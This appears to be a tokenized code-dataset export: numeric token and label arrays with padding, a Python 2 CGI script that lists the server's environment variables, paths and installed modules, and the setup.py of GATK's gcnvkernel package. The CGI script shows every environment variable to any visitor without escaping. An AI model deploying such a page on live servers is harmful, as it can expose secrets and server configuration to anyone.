15947,
63,
4564,
1254,
8,
1224,
12,
4818,
344,
12,
291,
423,
265,
63,
513,
63,
5037,
63,
14479,
9,
267,
4818,
14,
12093,
63,
4924,
63,
15947,
63,
50,
4564,
1254,
8,
1224,
12,
4818,
344,
12,
291,
423,
265,
63,
513,
63,
5037,
63,
6883,
2527,
9,
398,
4818,
14,
12093,
63,
4924,
63,
15947,
63,
13837,
63,
17929,
8,
288,
1817,
12,
4818,
344,
12,
291,
423,
265,
63,
513,
63,
5037,
63,
1302,
63,
3773,
267,
776,
398,
4818,
14,
12093,
63,
4924,
63,
3902,
63,
13837,
63,
17929,
8,
288,
1817,
12,
4818,
344,
12,
291,
423,
265,
63,
513,
63,
500,
63,
1302,
63,
3773,
267,
776,
398,
327,
5325,
278,
26,
21605,
59,
30558,
6785,
61,
9126,
626,
642,
1566,
1630,
440,
664,
31974,
267,
327,
315,
282,
5791,
769,
3304,
334,
390,
627,
9105,
10,
664,
31974,
315,
282,
5578,
769,
267,
327,
3304,
1695,
62,
1252,
267,
4818,
14,
12093,
63,
4924,
63,
10439,
63,
4448,
37,
3923,
1149,
8,
1224,
12,
4818,
344,
12,
291,
423,
265,
63,
1053,
63,
271,
5511,
9,
398,
327,
2790,
314,
3938,
1,
267,
291,
423,
981,
63,
3440,
8,
1708,
9,
398,
327,
2136,
675,
282,
8336,
3016,
3140,
402,
282,
2955,
3016,
2348,
12,
465,
781,
267,
327,
2793,
1133,
2934,
370,
295,
2442,
340,
314,
1324,
365,
663,
315,
314,
3787,
14,
267,
291,
14,
265,
63,
22687,
63,
1461,
8,
277,
423,
265,
63,
1210,
63,
2489,
12,
283,
1210,
358,
398,
372,
339,
23441,
5680,
272,
327,
283,
3186,
22347,
7,
3217,
14,
272,
23441,
5680,
339,
347,
3504,
63,
1143,
8,
277,
12,
1962,
304,
267,
408,
9496,
314,
2013,
1962,
14,
408,
398,
291,
14,
2785,
14,
1084,
2081,
2223,
8,
288,
1962,
12,
4818,
14,
4924,
63,
6689,
63,
32525,
12,
4818,
14,
4924,
63,
6689,
63,
32525,
267,
776,
398,
291,
14,
2785,
14,
1084,
2081,
2223,
8,
288,
1962,
12,
4818,
14,
4924,
63,
6689,
63,
3230,
35,
8558,
12,
4818,
14,
4924,
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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
matt-tyas/matthewtyas.com
|
logs/info.py
|
9
|
6384
|
#!/usr/bin/python
#
# This CGI script gives you the location of your Python interpreter,
# your path to Sendmail, your environment variables and a list of the
# Python modules that are installed on your web server.
#
import glob, os, re, string, sys, traceback
from stat import *
lang2css = {
'0': '''
th {font:bold 16px Arial,"Lucida Grande","Lucida Sans Unicode","Bitstream Vera Sans",Verdana,Futura,Helvetica,sans-serif; color:#fff; background-color:#0A328C; padding:5px 0; }
td {font:12px Arial,"Lucida Grande","Lucida Sans Unicode","Bitstream Vera Sans",Verdana,Futura,Helvetica,sans-serif; line-height:1.5em; vertical-align:top;}
.leftcol {width:35%; background-color:#E9F0FA; padding-left:5px;}
.rightcol {width:65% }
a:link {font:12px Arial,"Lucida Grande","Lucida Sans Unicode","Bitstream Vera Sans",Verdana,Futura,Helvetica,sans-serif; color:#002276; text-decoration: none;}
a:visited {font:12px Arial,"Lucida Grande","Lucida Sans Unicode","Bitstream Vera Sans",Verdana,Futura,Helvetica,sans-serif; color:#002276; text-decoration: none;}
a:active {font:12px Arial,"Lucida Grande","Lucida Sans Unicode","Bitstream Vera Sans",Verdana,Futura,Helvetica,sans-serif; color:#000; text-decoration: underline;}
a:hover {font:12px Arial,"Lucida Grande","Lucida Sans Unicode","Bitstream Vera Sans",Verdana,Futura,Helvetica,sans-serif; color:#000; text-decoration: underline;}
h1 {font:bold 24px Arial,"Lucida Grande","Lucida Sans Unicode","Bitstream Vera Sans",Verdana,Futura,Helvetica,sans-serif; margin:10px 0 4px;}
table {margin:30px 0 0;}
'''
}
installedmodules = {}
def is_executable(path):
return (os.stat(path)[ST_MODE] & (S_IXUSR | S_IXGRP | S_IXOTH)) != 0
def listmodules(arg, dirname, names):
has_init_py = '__init__.py' in names
if has_init_py:
for p in sys_path:
if dirname[:len(p)] == p:
dirname = dirname[len(p):]
break
if dirname[:1] == '/':
dirname = dirname[1:]
if dirname[:4] == 'test':
return
dirname = string.replace(dirname, "/", ".")
if dirname != '':
installedmodules[dirname] = None
for mod in names:
if (mod[0] != "_") and (mod[:4] != 'test'):
ext = mod[-3:]
if ext == '.py':
mod = mod[:-3]
elif ext == '.so':
if mod[-9:-3] == 'module':
mod = mod[:-9]
else:
mod = mod[:-3]
else:
continue
if has_init_py and (dirname != ''):
mod = dirname + "." + mod
installedmodules[mod] = None
print "Content-Type: text/html; charset=ISO-8859-1\n"
try:
lang = '0'
dbentry = os.getenv('DBENTRY')
if dbentry:
m = re.search(r'#LANG (\d+)', dbentry)
if m:
lang = m.group(1)
try:
css = lang2css[lang]
except KeyError:
css = lang2css['0']
print '''<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Python Configuration</title>
<style type="text/css">
<!--
'''
print css
print '''
-->
</style>
</head>
<body bgcolor="#ffffff">
<h1 style="text-align: center">Python Configuration</h1>
'''
sys_path = sys.path[1:]
sys_path.sort(lambda a, b: cmp(len(b), len(a)))
for i in list(sys.builtin_module_names):
installedmodules[i] = None
libdirs = sys.path
libdirs.sort()
for dir in libdirs:
os.path.walk(dir, listmodules, None)
installedmodules = installedmodules.keys()
installedmodules.sort()
for i in range(len(installedmodules) % 3):
installedmodules.append('')
py = {}
py["version"] = string.split(sys.version)[0]
py["platform"]= sys.platform
location = string.split(os.popen("whereis python", "r").read())
location = filter(lambda p: p[0] == '/', location)
location.sort()
for i in range(len(location)):
if os.path.islink(location[i]):
location[i] = location[i] + " -> " + os.readlink(location[i])
py["location"] = string.join(location, "<br>\n")
location = string.split(os.popen("whereis sendmail", "r").read())
location = filter(lambda p: p[0] == '/', location)
location.sort()
location = filter(is_executable, location)
for i in range(len(location)):
if os.path.islink(location[i]):
location[i] = location[i] + " -> " + os.readlink(location[i])
py["sendmail"] = string.join(location, "<br>\n")
libdirs = sys.path
if libdirs[0] == '':
libdirs[0] = './'
py["libdirs"] = string.join(libdirs, "<br>\n")
print '<table width="100%">'
print '''
<tr><th colspan="2">Program Paths</th></tr>
<tr><td class="leftcol"><b>Python version</b></td><td class="rightcol">%(version)s</td></tr>
<tr><td class="leftcol"><b>Python OS platform</b></td><td class="rightcol">%(platform)s</td></tr>
<tr><td class="leftcol"><b>Location of Python</b></td><td class="rightcol">%(location)s</td></tr>
<tr><td class="leftcol"><b>Location of Sendmail</b></td><td class="rightcol">%(sendmail)s</td></tr>
<tr><td class="leftcol"><b>Directories searched for Python modules</b></td><td class="rightcol">%(libdirs)s</td></tr>
''' % py
print "</table>"
print '''<table width="100%">
<tr><th colspan="2">Environment Variables</th></tr>
'''
envvars = os.environ.keys()
envvars.sort()
for envvar in envvars:
value = os.environ[envvar]
print '<tr><td class="leftcol"><b>%s</b></td><td class="rightcol">%s<td></tr>' % (envvar, value)
print "</table>"
print '''<table width="100%">
<tr><th>Installed Modules</th></tr>
<tr><td><pre>'''
rows = len(installedmodules) / 3
mods = [ [], [], [] ]
maxlen = max(map(len, installedmodules))
for i in range(rows):
s = "%%-%ds %%-%ds %%s" % (maxlen, maxlen)
print s % (installedmodules[i], installedmodules[rows + i], installedmodules[2*rows + i])
print "</pre></td></tr></table></body></html>"
except:
tb = traceback.format_exception(sys.exc_type, sys.exc_value, sys.exc_traceback)
tb = string.join(tb, "")
print '<pre>%s</pre></body></html>' % tb
|
gpl-2.0
|
[
3381,
2647,
15,
1393,
15,
1548,
199,
199,
3,
199,
3,
961,
28716,
2884,
10557,
1265,
314,
2909,
402,
2195,
2018,
12693,
12,
199,
3,
2195,
931,
370,
10217,
1198,
12,
2195,
3734,
2860,
436,
282,
769,
402,
314,
199,
3,
2018,
4621,
626,
787,
4903,
641,
2195,
3330,
1654,
14,
199,
3,
199,
199,
646,
5739,
12,
747,
12,
295,
12,
1059,
12,
984,
12,
5190,
199,
504,
5672,
492,
627,
199,
199,
4159,
18,
3919,
275,
469,
272,
283,
16,
356,
1449,
272,
294,
263,
469,
4246,
26,
9771,
3193,
5326,
437,
1383,
4589,
44,
947,
29132,
598,
1312,
271,
2266,
44,
947,
29132,
428,
796,
6140,
2266,
4734,
1745,
5444,
65,
428,
796,
401,
3673,
68,
6738,
12,
38,
337,
12417,
12,
40,
25911,
12,
26052,
13,
24977,
27,
3164,
15596,
18190,
27,
8020,
13,
2326,
15596,
16,
33,
12870,
35,
27,
6273,
26,
21,
5326,
378,
27,
789,
272,
12749,
263,
469,
4246,
26,
713,
5326,
437,
1383,
4589,
44,
947,
29132,
598,
1312,
271,
2266,
44,
947,
29132,
428,
796,
6140,
2266,
4734,
1745,
5444,
65,
428,
796,
401,
3673,
68,
6738,
12,
38,
337,
12417,
12,
40,
25911,
12,
26052,
13,
24977,
27,
1004,
13,
3333,
26,
17,
14,
21,
5633,
27,
13763,
13,
5743,
26,
2119,
27,
93,
272,
1275,
3039,
761,
221,
469,
2063,
26,
1276,
5,
27,
8020,
13,
2326,
15596,
37,
25,
38,
16,
2078,
27,
6273,
13,
3039,
26,
21,
5326,
27,
93,
272,
1275,
1019,
761,
469,
2063,
26,
2182,
5,
789,
272,
282,
26,
1073,
259,
469,
4246,
26,
713,
5326,
437,
1383,
4589,
44,
947,
29132,
598,
1312,
271,
2266,
44,
947,
29132,
428,
796,
6140,
2266,
4734,
1745,
5444,
65,
428,
796,
401,
3673,
68,
6738,
12,
38,
337,
12417,
12,
40,
25911,
12,
26052,
13,
24977,
27,
3164,
15596,
27846,
2114,
27,
1318,
13,
6518,
425,
26,
7179,
27,
93,
272,
282,
26,
21736,
469,
4246,
26,
713,
5326,
437,
1383,
4589,
44,
947,
29132,
598,
1312,
271,
2266,
44,
947,
29132,
428,
796,
6140,
2266,
4734,
1745,
5444,
65,
428,
796,
401,
3673,
68,
6738,
12,
38,
337,
12417,
12,
40,
25911,
12,
26052,
13,
24977,
27,
3164,
15596,
27846,
2114,
27,
1318,
13,
6518,
425,
26,
7179,
27,
93,
272,
282,
26,
2682,
221,
469,
4246,
26,
713,
5326,
437,
1383,
4589,
44,
947,
29132,
598,
1312,
271,
2266,
44,
947,
29132,
428,
796,
6140,
2266,
4734,
1745,
5444,
65,
428,
796,
401,
3673,
68,
6738,
12,
38,
337,
12417,
12,
40,
25911,
12,
26052,
13,
24977,
27,
3164,
15596,
1493,
27,
1318,
13,
6518,
425,
26,
25735,
27,
93,
272,
282,
26,
22797,
257,
469,
4246,
26,
713,
5326,
437,
1383,
4589,
44,
947,
29132,
598,
1312,
271,
2266,
44,
947,
29132,
428,
796,
6140,
2266,
4734,
1745,
5444,
65,
428,
796,
401,
3673,
68,
6738,
12,
38,
337,
12417,
12,
40,
25911,
12,
26052,
13,
24977,
27,
3164,
15596,
1493,
27,
1318,
13,
6518,
425,
26,
25735,
27,
93,
272,
394,
17,
263,
469,
4246,
26,
9771,
5504,
5326,
437,
1383,
4589,
44,
947,
29132,
598,
1312,
271,
2266,
44,
947,
29132,
428,
796,
6140,
2266,
4734,
1745,
5444,
65,
428,
796,
401,
3673,
68,
6738,
12,
38,
337,
12417,
12,
40,
25911,
12,
26052,
13,
24977,
27,
11042,
26,
709,
5326,
378,
841,
5326,
27,
93,
272,
1817,
258,
469,
9650,
26,
1216,
5326,
378,
378,
27,
93,
272,
1449,
272,
789,
421,
199,
7657,
3112,
275,
1052,
199,
199,
318,
365,
63,
5904,
8,
515,
304,
272,
372,
334,
736,
14,
3736,
8,
515,
2788,
840,
63,
6963,
61,
1253,
334,
51,
63,
3867,
22592,
1204,
428,
63,
3867,
3975,
48,
1204,
428,
63,
3867,
22949,
430,
1137,
378,
199,
199,
318,
769,
3112,
8,
1273,
12,
9017,
12,
1561,
304,
198,
272,
965,
63,
826,
63,
647,
275,
2560,
826,
4343,
647,
7,
315,
1561,
272,
340,
965,
63,
826,
63,
647,
26,
267,
367,
299,
315,
984,
63,
515,
26,
288,
340,
9017,
1491,
552,
8,
80,
1874,
508,
299,
26,
355,
9017,
275,
9017,
59,
552,
8,
80,
15405,
355,
2059,
267,
340,
9017,
1491,
17,
61,
508,
20549,
288,
9017,
275,
9017,
59,
17,
2938,
267,
340,
9017,
1491,
20,
61,
508,
283,
396,
356,
288,
372,
267,
9017,
275,
1059,
14,
1814,
8,
3475,
12,
3286,
401,
298,
2685,
267,
340,
9017,
1137,
8061,
288,
4903,
3112,
59,
3475,
61,
275,
488,
5493,
367,
3413,
315,
1561,
26,
267,
340,
334,
1494,
59,
16,
61,
1137,
2668,
531,
436,
334,
1494,
1491,
20,
61,
1137,
283,
396,
735,
288,
1599,
275,
3413,
1988,
19,
2938,
288,
340,
1599,
508,
1987,
647,
356,
355,
3413,
275,
3413,
4439,
19,
61,
288,
916,
1599,
508,
1987,
1152,
356,
355,
340,
3413,
1988,
25,
6809,
19,
61,
508,
283,
578,
356,
490,
3413,
275,
3413,
4439,
25,
61,
355,
587,
26,
490,
3413,
275,
3413,
4439,
19,
61,
288,
587,
26,
355,
1980,
288,
340,
965,
63,
826,
63,
647,
436,
334,
3475,
1137,
21019,
355,
3413,
275,
9017,
435,
14530,
435,
3413,
288,
4903,
3112,
59,
1494,
61,
275,
488,
421,
199,
1361,
298,
2714,
13,
804,
26,
1318,
15,
1360,
27,
5960,
29,
7336,
13,
4830,
13,
17,
60,
78,
2,
199,
199,
893,
26,
272,
6339,
275,
283,
16,
7,
272,
1592,
2373,
275,
747,
14,
12959,
360,
2846,
7285,
358,
272,
340,
1592,
2373,
26,
267,
333,
275,
295,
14,
1733,
8,
82,
11525,
7442,
14749,
68,
14705,
1592,
2373,
9,
267,
340,
333,
26,
288,
6339,
275,
333,
14,
923,
8,
17,
9,
339,
862,
26,
267,
11431,
275,
6339,
18,
3919,
59,
4159,
61,
272,
871,
4067,
26,
267,
11431,
275,
6339,
18,
3919,
459,
16,
418,
2378,
870,
1449,
11230,
16556,
3517,
21755,
21486,
55,
19,
35,
501,
21156,
4163,
841,
14,
614,
19894,
1588,
279,
501,
742,
2,
298,
1014,
921,
1544,
14,
87,
19,
14,
1308,
15,
1766,
15,
1360,
20,
15,
320,
3362,
14,
15662,
1743,
199,
28,
1360,
30,
199,
28,
2993,
30,
199,
28,
1213,
30,
4718,
11595,
1108,
1213,
30,
199,
28,
2487,
730,
628,
505,
15
] |
[
2647,
15,
1393,
15,
1548,
199,
199,
3,
199,
3,
961,
28716,
2884,
10557,
1265,
314,
2909,
402,
2195,
2018,
12693,
12,
199,
3,
2195,
931,
370,
10217,
1198,
12,
2195,
3734,
2860,
436,
282,
769,
402,
314,
199,
3,
2018,
4621,
626,
787,
4903,
641,
2195,
3330,
1654,
14,
199,
3,
199,
199,
646,
5739,
12,
747,
12,
295,
12,
1059,
12,
984,
12,
5190,
199,
504,
5672,
492,
627,
199,
199,
4159,
18,
3919,
275,
469,
272,
283,
16,
356,
1449,
272,
294,
263,
469,
4246,
26,
9771,
3193,
5326,
437,
1383,
4589,
44,
947,
29132,
598,
1312,
271,
2266,
44,
947,
29132,
428,
796,
6140,
2266,
4734,
1745,
5444,
65,
428,
796,
401,
3673,
68,
6738,
12,
38,
337,
12417,
12,
40,
25911,
12,
26052,
13,
24977,
27,
3164,
15596,
18190,
27,
8020,
13,
2326,
15596,
16,
33,
12870,
35,
27,
6273,
26,
21,
5326,
378,
27,
789,
272,
12749,
263,
469,
4246,
26,
713,
5326,
437,
1383,
4589,
44,
947,
29132,
598,
1312,
271,
2266,
44,
947,
29132,
428,
796,
6140,
2266,
4734,
1745,
5444,
65,
428,
796,
401,
3673,
68,
6738,
12,
38,
337,
12417,
12,
40,
25911,
12,
26052,
13,
24977,
27,
1004,
13,
3333,
26,
17,
14,
21,
5633,
27,
13763,
13,
5743,
26,
2119,
27,
93,
272,
1275,
3039,
761,
221,
469,
2063,
26,
1276,
5,
27,
8020,
13,
2326,
15596,
37,
25,
38,
16,
2078,
27,
6273,
13,
3039,
26,
21,
5326,
27,
93,
272,
1275,
1019,
761,
469,
2063,
26,
2182,
5,
789,
272,
282,
26,
1073,
259,
469,
4246,
26,
713,
5326,
437,
1383,
4589,
44,
947,
29132,
598,
1312,
271,
2266,
44,
947,
29132,
428,
796,
6140,
2266,
4734,
1745,
5444,
65,
428,
796,
401,
3673,
68,
6738,
12,
38,
337,
12417,
12,
40,
25911,
12,
26052,
13,
24977,
27,
3164,
15596,
27846,
2114,
27,
1318,
13,
6518,
425,
26,
7179,
27,
93,
272,
282,
26,
21736,
469,
4246,
26,
713,
5326,
437,
1383,
4589,
44,
947,
29132,
598,
1312,
271,
2266,
44,
947,
29132,
428,
796,
6140,
2266,
4734,
1745,
5444,
65,
428,
796,
401,
3673,
68,
6738,
12,
38,
337,
12417,
12,
40,
25911,
12,
26052,
13,
24977,
27,
3164,
15596,
27846,
2114,
27,
1318,
13,
6518,
425,
26,
7179,
27,
93,
272,
282,
26,
2682,
221,
469,
4246,
26,
713,
5326,
437,
1383,
4589,
44,
947,
29132,
598,
1312,
271,
2266,
44,
947,
29132,
428,
796,
6140,
2266,
4734,
1745,
5444,
65,
428,
796,
401,
3673,
68,
6738,
12,
38,
337,
12417,
12,
40,
25911,
12,
26052,
13,
24977,
27,
3164,
15596,
1493,
27,
1318,
13,
6518,
425,
26,
25735,
27,
93,
272,
282,
26,
22797,
257,
469,
4246,
26,
713,
5326,
437,
1383,
4589,
44,
947,
29132,
598,
1312,
271,
2266,
44,
947,
29132,
428,
796,
6140,
2266,
4734,
1745,
5444,
65,
428,
796,
401,
3673,
68,
6738,
12,
38,
337,
12417,
12,
40,
25911,
12,
26052,
13,
24977,
27,
3164,
15596,
1493,
27,
1318,
13,
6518,
425,
26,
25735,
27,
93,
272,
394,
17,
263,
469,
4246,
26,
9771,
5504,
5326,
437,
1383,
4589,
44,
947,
29132,
598,
1312,
271,
2266,
44,
947,
29132,
428,
796,
6140,
2266,
4734,
1745,
5444,
65,
428,
796,
401,
3673,
68,
6738,
12,
38,
337,
12417,
12,
40,
25911,
12,
26052,
13,
24977,
27,
11042,
26,
709,
5326,
378,
841,
5326,
27,
93,
272,
1817,
258,
469,
9650,
26,
1216,
5326,
378,
378,
27,
93,
272,
1449,
272,
789,
421,
199,
7657,
3112,
275,
1052,
199,
199,
318,
365,
63,
5904,
8,
515,
304,
272,
372,
334,
736,
14,
3736,
8,
515,
2788,
840,
63,
6963,
61,
1253,
334,
51,
63,
3867,
22592,
1204,
428,
63,
3867,
3975,
48,
1204,
428,
63,
3867,
22949,
430,
1137,
378,
199,
199,
318,
769,
3112,
8,
1273,
12,
9017,
12,
1561,
304,
198,
272,
965,
63,
826,
63,
647,
275,
2560,
826,
4343,
647,
7,
315,
1561,
272,
340,
965,
63,
826,
63,
647,
26,
267,
367,
299,
315,
984,
63,
515,
26,
288,
340,
9017,
1491,
552,
8,
80,
1874,
508,
299,
26,
355,
9017,
275,
9017,
59,
552,
8,
80,
15405,
355,
2059,
267,
340,
9017,
1491,
17,
61,
508,
20549,
288,
9017,
275,
9017,
59,
17,
2938,
267,
340,
9017,
1491,
20,
61,
508,
283,
396,
356,
288,
372,
267,
9017,
275,
1059,
14,
1814,
8,
3475,
12,
3286,
401,
298,
2685,
267,
340,
9017,
1137,
8061,
288,
4903,
3112,
59,
3475,
61,
275,
488,
5493,
367,
3413,
315,
1561,
26,
267,
340,
334,
1494,
59,
16,
61,
1137,
2668,
531,
436,
334,
1494,
1491,
20,
61,
1137,
283,
396,
735,
288,
1599,
275,
3413,
1988,
19,
2938,
288,
340,
1599,
508,
1987,
647,
356,
355,
3413,
275,
3413,
4439,
19,
61,
288,
916,
1599,
508,
1987,
1152,
356,
355,
340,
3413,
1988,
25,
6809,
19,
61,
508,
283,
578,
356,
490,
3413,
275,
3413,
4439,
25,
61,
355,
587,
26,
490,
3413,
275,
3413,
4439,
19,
61,
288,
587,
26,
355,
1980,
288,
340,
965,
63,
826,
63,
647,
436,
334,
3475,
1137,
21019,
355,
3413,
275,
9017,
435,
14530,
435,
3413,
288,
4903,
3112,
59,
1494,
61,
275,
488,
421,
199,
1361,
298,
2714,
13,
804,
26,
1318,
15,
1360,
27,
5960,
29,
7336,
13,
4830,
13,
17,
60,
78,
2,
199,
199,
893,
26,
272,
6339,
275,
283,
16,
7,
272,
1592,
2373,
275,
747,
14,
12959,
360,
2846,
7285,
358,
272,
340,
1592,
2373,
26,
267,
333,
275,
295,
14,
1733,
8,
82,
11525,
7442,
14749,
68,
14705,
1592,
2373,
9,
267,
340,
333,
26,
288,
6339,
275,
333,
14,
923,
8,
17,
9,
339,
862,
26,
267,
11431,
275,
6339,
18,
3919,
59,
4159,
61,
272,
871,
4067,
26,
267,
11431,
275,
6339,
18,
3919,
459,
16,
418,
2378,
870,
1449,
11230,
16556,
3517,
21755,
21486,
55,
19,
35,
501,
21156,
4163,
841,
14,
614,
19894,
1588,
279,
501,
742,
2,
298,
1014,
921,
1544,
14,
87,
19,
14,
1308,
15,
1766,
15,
1360,
20,
15,
320,
3362,
14,
15662,
1743,
199,
28,
1360,
30,
199,
28,
2993,
30,
199,
28,
1213,
30,
4718,
11595,
1108,
1213,
30,
199,
28,
2487,
730,
628,
505,
15,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
ksthesis/gatk
|
src/main/python/org/broadinstitute/hellbender/setup_gcnvkernel.py
|
3
|
1290
|
from distutils.core import setup
import re
import sys
assert sys.version_info >= (3, 4), "gcnvkernel requires Python 3.4.x or later"
def get_version_string():
version_file = "gcnvkernel/_version.py"
version_str_line = open(version_file, "rt").read()
version_regexp = r"^__version__ = ['\"]([^'\"]*)['\"]"
re_out = re.search(version_regexp, version_str_line, re.M)
if re_out is not None:
return re_out.group(1)
else:
raise RuntimeError("Unable to find version string in %s." % (version_file,))
setup(
name='gcnvkernel',
version=get_version_string(),
author='Mehrtash Babadi',
author_email='mehrtash@broadinstitute.org',
packages=['gcnvkernel',
'gcnvkernel.inference',
'gcnvkernel.models',
'gcnvkernel.preprocess',
'gcnvkernel.postprocess',
'gcnvkernel.structs',
'gcnvkernel.tasks',
'gcnvkernel.utils',
'gcnvkernel.io'],
license='LICENSE.txt',
description='GATK gCNV computational kernel',
long_description=open('gcnvkernel/README.txt').read(),
install_requires=[
"theano == 0.9.0",
"pymc3 == 3.1",
"numpy >= 1.13.1",
"scipy >= 0.19.1",
"tqdm >= 4.15.0"
])
|
bsd-3-clause
|
[
504,
7065,
14,
1018,
492,
3272,
199,
646,
295,
199,
646,
984,
199,
199,
479,
984,
14,
1023,
63,
815,
2356,
334,
19,
12,
841,
395,
298,
71,
6413,
86,
4989,
5074,
2018,
650,
14,
20,
14,
88,
503,
2945,
2,
199,
199,
318,
664,
63,
1023,
63,
875,
837,
272,
1015,
63,
493,
275,
298,
71,
6413,
86,
4989,
15607,
1023,
14,
647,
2,
272,
1015,
63,
495,
63,
604,
275,
1551,
8,
1023,
63,
493,
12,
298,
2591,
3471,
739,
342,
272,
1015,
63,
11191,
275,
519,
16136,
363,
1023,
363,
275,
788,
60,
937,
7059,
1154,
937,
10,
11820,
60,
937,
2,
272,
295,
63,
548,
275,
295,
14,
1733,
8,
1023,
63,
11191,
12,
1015,
63,
495,
63,
604,
12,
295,
14,
45,
9,
272,
340,
295,
63,
548,
365,
440,
488,
26,
267,
372,
295,
63,
548,
14,
923,
8,
17,
9,
272,
587,
26,
267,
746,
6064,
480,
6005,
370,
2342,
1015,
1059,
315,
450,
83,
2122,
450,
334,
1023,
63,
493,
4641,
199,
199,
2758,
8,
272,
536,
534,
71,
6413,
86,
4989,
297,
272,
1015,
29,
362,
63,
1023,
63,
875,
1062,
272,
4132,
534,
1352,
72,
2591,
1119,
699,
20338,
328,
297,
272,
4132,
63,
2123,
534,
278,
72,
2591,
1119,
32,
29047,
3615,
390,
938,
14,
1308,
297,
272,
6117,
2968,
71,
6413,
86,
4989,
297,
1598,
283,
71,
6413,
86,
4989,
14,
20580,
297,
1598,
283,
71,
6413,
86,
4989,
14,
992,
297,
1598,
283,
71,
6413,
86,
4989,
14,
17677,
297,
1598,
283,
71,
6413,
86,
4989,
14,
32238,
297,
1598,
283,
71,
6413,
86,
4989,
14,
23253,
297,
1598,
283,
71,
6413,
86,
4989,
14,
5054,
297,
1598,
283,
71,
6413,
86,
4989,
14,
1208,
297,
1598,
283,
71,
6413,
86,
4989,
14,
2308,
995,
272,
4190,
534,
3961,
14,
2424,
297,
272,
1369,
534,
39,
619,
43,
486,
35,
7312,
28319,
6279,
5114,
297,
272,
1846,
63,
1802,
29,
1490,
360,
71,
6413,
86,
4989,
15,
18195,
14,
2424,
1959,
739,
1062,
272,
3907,
63,
6537,
1524,
267,
298,
32057,
508,
378,
14,
25,
14,
16,
401,
267,
298,
647,
5466,
19,
508,
650,
14,
17,
401,
267,
298,
4714,
2356,
413,
14,
969,
14,
17,
401,
267,
298,
14248,
2356,
378,
14,
1167,
14,
17,
401,
267,
298,
84,
81,
6428,
2356,
841,
14,
1046,
14,
16,
2,
272,
4794,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
